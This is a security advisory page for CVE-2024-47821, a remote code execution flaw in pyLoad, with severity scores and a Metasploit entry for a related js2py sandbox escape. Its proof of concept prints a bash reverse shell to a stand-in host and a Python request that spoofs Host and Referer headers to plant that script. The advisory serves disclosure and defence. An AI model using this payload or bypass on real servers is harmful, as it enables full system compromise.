Advisory details:
github_osv / GHSA-w7hq-f2pj-c53g
| Advisory ID | github_osv/GHSA-w7hq-f2pj-c53g |
| Aliases |
CVE-2024-47821
|
| Summary | pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API ### Summary The folder `/.pyload/scripts` has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in `/scripts` path and using the `/flashgot` API to download the file. ### Details **Configuration changes** 1. Change the download folder to `/home/<user>/.pyload/scripts` 2. Change permissions for downloaded files: 1. Change permissions of downloads: on 2. Permission mode for downloaded files: 0744 **Making the request to download files** The `flashgot` API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks. *Referer header check* ``` def flashgot(): if flask.request.referrer not in ( "http://localhost:9666/flashgot", "http://127.0.0.1:9666/flashgot", ): flask.abort(500) ... ``` *Host header check for local check* ``` def local_check(func): @wraps(func) def wrapper(*args, **kwargs): remote_addr = flask.request.environ.get("REMOTE_ADDR", "0") http_host = flask.request.environ.get("HTTP_HOST", "0") if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in ( "127.0.0.1:9666", "[::1]:9666", ): return func(*args, **kwargs) else: return "Forbidden", 403 return wrapper ``` Once the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed ### PoC Create a malicious file. I have created a reverse shell ``` #!/bin/bash bash -i >& /dev/tcp/evil/9002 0>&1 ``` Host this file at some URL, for eg: http://evil Create a request like this for the `flashgot` API. I am using `download_finished` folder as the destination folder. Scripts in this folder are run when a download is completed. ``` import requests url = "http://pyload/flashgot" headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"} data = { "package": "download_finished", "passwords": "optional_password", "urls": "http://evil/exp.sh", "autostart": 1, } response = requests.post(url, data=data, headers=headers) ``` When the above request is made, exp.sh will be downloaded to `/scripts/download_finished folder`. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run. I also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine ### Screenshots *Download folder* <img width="672" alt="1" src="https://github.com/user-attachments/assets/77fc5202-bed2-41a2-98ae-9cb7b1315f76"> *`exp.sh` is downloaded* <img width="714" alt="2" src="https://github.com/user-attachments/assets/5e6e19db-2a5c-48f4-9973-817528b5b9ec"> *Script is run* <img width="714" alt="3" src="https://github.com/user-attachments/assets/34fbdaee-50ba-46a8-a372-ec8c91d03aa9"> *Reverse shell connection is received* <img width="314" alt="4" src="https://github.com/user-attachments/assets/4713d56e-e850-47ad-99b3-cab0c7bba800"> ### Impact This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system |
| Status | Published |
| Exploitability | 2.0 |
| Weighted Severity | 8.2 |
| Risk | 10.0 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 9.1 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-w7hq-f2pj-c53g/GHSA-w7hq-f2pj-c53g.json |
| cvssv4 | 8.5 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-w7hq-f2pj-c53g/GHSA-w7hq-f2pj-c53g.json |
| generic_textual | HIGH |
| Data source | Metasploit |
|---|---|
| Description | CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74 is the latest version of js2py which was released Nov 6, 2022. CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source download manager designed to automate file downloads from various online sources. Pyload is vulnerable because it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint. This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we can bypass this restriction in order to access the API to achieve unauth RCE. |
| Note | Stability: - crash-safe Reliability: - repeatable-session SideEffects: - ioc-in-logs - artifacts-on-disk |
| Ransomware campaign use | Unknown |
| Source publication date | Oct. 28, 2024 |
| Platform | Linux,Unix |
| Source URL | https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2024-10-28T17:19:04Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2024/47xxx/CVE-2024-47821.json
Source Advisory: vulnrichment/CVE-2024-47821
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]